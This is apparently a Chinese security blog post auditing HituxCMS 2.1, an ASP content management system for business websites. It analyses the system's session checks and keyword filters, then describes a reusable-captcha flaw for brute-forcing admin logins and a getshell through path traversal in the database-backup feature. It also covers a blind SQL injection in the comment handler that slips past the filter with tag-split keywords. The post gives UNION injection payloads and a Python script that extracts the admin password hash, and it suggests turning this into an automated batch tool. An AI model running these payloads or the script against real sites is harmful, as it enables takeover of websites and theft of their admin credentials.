〇.前言
本文为笃行日常工作记录,这篇审计文章,也是在2014年国庆期间写的,比较简单。意在展现一个完整的开源CMS代码手工审计的过程,从未发表过,三年过去了,回过头看还是优点意义的,故这次发出来,一起学习~。
通过本文你可以获取HituxCMS 2.1版本的漏洞发掘过程,getshell和sql注入。
一.系统介绍
海纳企业网站管理系统(HituxCMS)是海纳网络工作室(Hitux.com)专业为企业建站而开发
的一款网站程序。该系统采用最简单易用的 asp+access 进行搭建,拥有完善的网站前后台,
并特别根据企业网站的特点开发出独具特色的栏目和功能。 HituxCMS 是企业建站的绝佳选
择!
系统三大特色:
1、全静态:全站生成.html 静态页面。降低服务器压力,增强百度收录。
2、高优化:特别针对搜索引擎进行优化处理,让客户快速找到你。
3、 够简单:拥有完善后台管理系统,所有内容均可在后台进行更新。非专业人士也可
操作。
二. 架构分析
2.1 系统目录结构
系统核心目录结构如下:
其中 AdminBeat 为后台目录, 整站的管理功能模块都在此目录中完成, Data21923 是数
据库存放目录。这两个目录一般会改名做最基本的安全。
rss 和 search 是 直 接 暴 露 在 外 面 的 用 户 可 以 直 接 调 用 的 功 能 , rss/index.asp
search/index.asp, RSS 订阅和搜索。
2.2 系统功能模块
Inc 目录为基础的通用包含模块目录,功能如下:
文件名 | 功能 |
---|---|
/x_to_html 后台生成静态模块集合 | 后台生成静态模块集合 |
Access.asp | 权限验证模块 |
AntiAttack.asp | 攻击防御模块 |
article_view.asp | 文章阅读计数器 |
comment.asp | 留言模块 |
conn.asp | 数据库连接模块 |
Create.asp | 创建文件夹模块 |
GetCode.asp | 验证码生成模块 |
html_clear.asp | Html 实体/XSS 过滤模块 |
Md5.asp | MD5 算法类 |
page_list.asp | 分页模块 |
rand.asp | 随机数模块 |
web_config.asp | 站点基本配置读取模块 |
AdminBeat 目录下功能繁多,就不一一列举,且后台在实战中经常改变的。 就例举常用敏感
功能。
文件名 | 功能 |
---|---|
/KEditor | KindEditor 目录,版本: 4.1.3 |
/PicUpload | 图片上传模块 |
/PicUpLoad2 | 图片上传模块 |
Data_xxxx.asp | 数据库操作模块 |
admin_login.asp | 管理员登录验证模块 |
upfile.asp upfile_photo.asp upload.inc | 文件上传 |
2.3 系统实体/表结构分析(只列核心重要的)
表名 | 作用 |
---|---|
Article | 文章 |
Category | 文章分类 |
Web_admin | 管理员信息表(密码帐号权限) |
Web_article_comment | 文章评论 |
Web_models | 模版主题 |
Web_settings | 系统配置 |
其中Web_Admin 表结构如下
管理员密码以 md5-16 形式存放于 password 字段。
2.4 系统缺省设置
缺省项目 | 作用 |
---|---|
后台目录 /adminbeat 管理员登录 | 系统最重要的 |
默认数据库目录/Data21293/NYIKUGY5434231.mdb | 系统持久化文件敏感信息 |
默认管理员密码帐号 admin/admin | 登录后台用,拥有系统的最高权限 |
2.5 系统权限验证机制解析
本系统对于用户纯静态,没有动态的文件展示。只有rss.asp/serach.asp/comment.asp 交
互用,也没有普通用户的系统,所有的操作都在后台进行。
权限验证总体来说做的还不错,粗看没有找到能越权操作的地方, 且验证比较合理,状
态采用 Session 机制保存,系统 Session 字段如下:
Session | 作用 |
---|---|
Session("log_name") | 判断是否登录用 |
Session("getcode") | 验证码记录字段 |
Session("log_role") | 管理员权限字段 |
这里引入的 Session 机制非常合理,充分避免了一些权限绕过的问题。
登录会话产生 session
If Not (rs.bof Or rs.eof) Then
Session("log_name")=rs("username")
Session("log_role")=rs("class")
session.Timeout=1000
Admin_login.asp 登陆成功时记录 Session
<%
'chk session
If Session("log_name")="" Then
response.redirect "login.asp"
%>
<%
End If
%>
Access.asp 对 Session 字段进行验证。
<%
Session.Abandon()
Response.Redirect "login.asp"
%>
Loingout.asp 销毁 Session
三.系统整体防御体系分析
3.1 用户权限/越权操作防御
上文中 Session 机制引入,验证模块 Access.asp。在所有的后台功能操作模块均包含了
Access.asp。
所以越权操作基本不存在,权限字段似乎也没什么用,只要是管理员能就能操作后台。
3.2 SQL注入防御
主要有 2 个文件 inc/AntiAttack.asp
、 Adminbeat/Inc/Functions.asp
Err_Message = 1 '处理方式: 1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" '出错时转向的页面
Query_Badword="'‖and‖select‖update‖chr‖delete‖%20from‖;‖insert‖mid‖master.‖set‖chr(37)‖=‖
script‖alert"
'在这部份定义 get 非法参数,使用"‖"号间隔
Form_Badword="select‖and‖set‖delete‖insert‖update‖=‖script‖alert" '在这部份定义 post 非法参数,使用"‖"
号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
Chk_badword=split(Query_Badword,"‖")
FOR EACH Query_form_name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_form_name)),Chk_badword(i))<>0 Then
Select Case Err_Message
报错语句
if request.form<>"" then
Chk_badword=split(Form_Badword,"‖")
FOR EACH form_name2 IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(form_name2)),Chk_badword(i))<>0 Then
Select Case Err_Message
报错语句
可以发现本系统对 get 参数和 post 参数进行了基本过滤, 但显然 post 参数过滤的关键词不多, 且过滤方式是模式匹配,请求参数只要完整包含过滤词中的其中一个则会出现
如下错误:
过滤一些 T-SQL 的关键词,看似还算安全,此文件非函数封装,只要包含了此文件都会起
到防御功能。Adminbeat/Inc/Functions.asp
中, GetSafeStr 函数过滤引号分号。
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
这是个函数需要主动调用这个函数才能起到防御作用。
3.3 XSS防御
文件 inc/html_clear.asp
HTML 过滤就不具体分析了,下文具体漏洞挖掘中用到再分析。
四.漏洞挖掘和分析
4.1 验证码逻辑缺陷
以登录为例: AdminBeat/login.asp
验证码通过/inc/getcode.asp
请求并且写入 session,如果登录失败,则会返回到 login.asp页面,但是刷新验证码是通过 HTML 脚本实现的,只要我们请求一次验证码,在这个会话周期和 SESSION 周期里,我们只要不重新去请求/inc/getcode.asp
那么验证码是不会变的!于是就可以写一个后台管理员密码爆破工具。
4.2 后台 GetShell
如果有了后台权限那 GetShell 还是很简单的,这里我没有详细挖掘上传漏洞,就直接使
用数据库备份功能[内容管理->数据管理->数据备份]。
看备份代码:
act=Request("act")
If act="save" Then
NewData=replace(LCase(request("NewData")),".asp",".mdb")
if NewData=request("OldData") then
response.Write ""
response.end
else
Set fso=CreateObject("Scripting.FileSystemObject")
filesource=server.MapPath(DataFolder&"/"&request("OldData"))
fileto=server.MapPath(DataFolder&"/"&NewData)
if fso.fileexists(filesource)
可以发现,简单的把.asp 替换程.mdb,当时没有考虑 asa, cer,aspx 也能执行的情况。
其次备份文件路径没有做限制,可以构造../1.cer 跳到根目录,在我们不知道数据库目录的情况下可以把文件备份到根目录。那么就可以在数据库中插入我们的恶意语句或者上传一个文件用备份方式修改后缀名获取 WEBSHELL。
4.3 留言板SQL注入
直接进入主题,留言板前端位于/ FeedBack/index.html
后端代码为/inc/comment.asp
<%'判断
if request("act")="add" then
article_id=request("id")
name1=trim(request.form("name"))
email1=trim(request.form("email"))
qq1=trim(request.form("qq"))
comment=trim(request.form("content"))
input_code=trim(request.form("verycode"))
url1=trim(request.form("homepage"))
image1=trim(request.form("img"))
if comment="" then
response.Write ""
else
if request("verycode")="" then
response.write ""
Response.End
elseif session("getcode")="9999" then
session("getcode")=""
elseif session("getcode")="" then
response.write ""
Response.End
elseif cstr(session("getcode"))<>cstr(trim(request("verycode"))) then
response.write ""
Response.End
end if
引入了防注入文件和 CSS 过滤文件看来比较安全,留言通过 POST 表单形式提交的,继续看
代码。
set rs=server.createobject("adodb.recordset")
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
rs.open(sql),cn,1,3
if not rs.eof then
response.Write ""
else
rs.addnew
if article_id<>"" then
rs("article_id")=article_id
end if
发表留言是,会对留言内容进行查库判重复。
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
这里我们能控制的是 comment 字段,再看上面 post 参数过滤代码,没有对引号之类的进行
过滤。
提交数据
提示不要重复, 看来已经绕过了注入过滤。那么构造一条查询有结果集的语句,如果库内没有任何留言我们可以先留言一个( 为了构造语句,使得查询结果集有结果)。
我们要构造成这样
select * from web_article_comment where [content]='anything' or '1'='1'
继续提交数据
提示被过滤了!
原来是 AntiAttack.asp
中过滤的 =
符号
那我们改成这样,也能达到条件
select * from web_article_comment where [content]='anything' or '1'<'2'
符合我们的预期,说明确实被带入语句查询了!看来注入点存在,那我们让条件不满足,应该会提示留言已经发布成功!
继续再提交
select * from web_article_comment where [content]='anything' or '1'>'2'
结果如下:
注入存在!
前文提到过 web_admin 表中的管理员数据,那我们来构造语句注入吧, 但是这个注入点是
不会把查询结果回显到前端,那么只能伪盲注,为什么叫伪盲注呢,因为还是有留言成功和
不成功的两种状态的。直接进入主题。 按位猜解。
select * from web_article_comment where [content]='anything'or '1'>'2' union select
id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where mid(password,1,1)>'a'
根据返回结果来判断密码的某一位是否是一个值,又因为 md5-16 加密,那么值的范围肯定
是属于集合{ 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f }
。
那么最坏情况下猜解 16 x 16 次即可把密码完全解出来,我们来验证下。 默认密码 MD5 是
“7a57a5a743894a0e”
那我们提交
anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)<'8
应该返回留言重复。
提交
anything'or '1'>'2' union select id,username,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin
where mid(password,1,1)< '7
应该返回留言发表成功。
哦对了,我们引入了 select union 等被过滤的词。那么我们来绕过过滤!
感谢过滤 XSS 模块给我的帮助,见上文。
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
我们来看看 nohtml 这个函数的实现,其中有代码:
re.Pattern="(\<.[^\<]*\>)"
str=re.replace(str,"")
re.Pattern="(\<\/[^\<]*\>)"
str=re.replace(str,"")
re.Pattern="/(^[\\s]*)/g"
str=re.replace(str,"")
太棒了,我们可以把 select 改成 select 这种, 在处理的时候直接绕过了注入监测,然后在查库前通过 nohtml 函数把 select 又还原程了 select!太幸福,那么分分钟就可以写出了简单的 exp,然后有了这个过 waf 也是简单的,我们可以填充任意 html 元素!
def get( idx,key ):
s = "ly'or '1'>'2' union select id,2,3,4,5,6,7,8,9,10,11,12,13,14 from web_admin where
mid(password,%d,1)<'%c"%(idx,key)
#print s
httplib.HTTPConnection.debuglevel = 1
request = urllib2.Request( 'http://localhost/inc/comment.asp?act=add&id=' )
request.add_header("Accept", "text/html,*/*")
request.add_header("Connection", "Keep-Alive")
request.add_header("Cookie","ASPSESSIONIDASASARAR=IBEHGIGBOOHNEHLJPENBEJMM")
datax = {'name':'f','content': s,'verycode':'0663'}
print datax
datax = urllib.urlencode(datax)
try:
opener = urllib2.build_opener()
d = opener.open(request,data=datax, timeout=5).read()
d = d.decode("utf8").encode("gbk")
print d
if( d.find( "成功" ) != -1):
return 0
else:
return 1 #存在
except Exception, e:
return 0
def binarydriver( s,e,keys):
while s <= e:
m = (s+e)//2
print m
if get(keys[m])>0:
e = m - 1
elif e - s > 0:
s = m + 1
else:
return keys[m]
binarydriver(s,e,keys)
def check_jcfile(idx):
s = "/0123456789abcdefg"
l = 0
ll = 0
for i in range(0, 17):
l = get(idx,s[i])
if ll == 0 and l == 1:
return s[i - 1]
ll = l
return '0
def main(argv):
md5 = "";
for i in range(1, 17):
md5 = md5 + check_jcfile( i )
print md5
EXP 没有加优化,只是遍历的,如果用二分法( ’0123456789abcdef’) 是有序的,可以把枚
举的复杂度降低到 log16。大大加快了 EXP 的速度,其次 EXP 可以把验证码识别下,做到全自动批量工具,百度一下还是效果不错的。
最后 ending…如有不足请指点,亦可留言或联系 [email protected].
本文为笃行原创文章首发于大题小作,永久链接:海纳企业网站管理系统HituxCms2.1代码审计GETSHELL+注入
https://www.ifobnn.com/hituxcms0day.html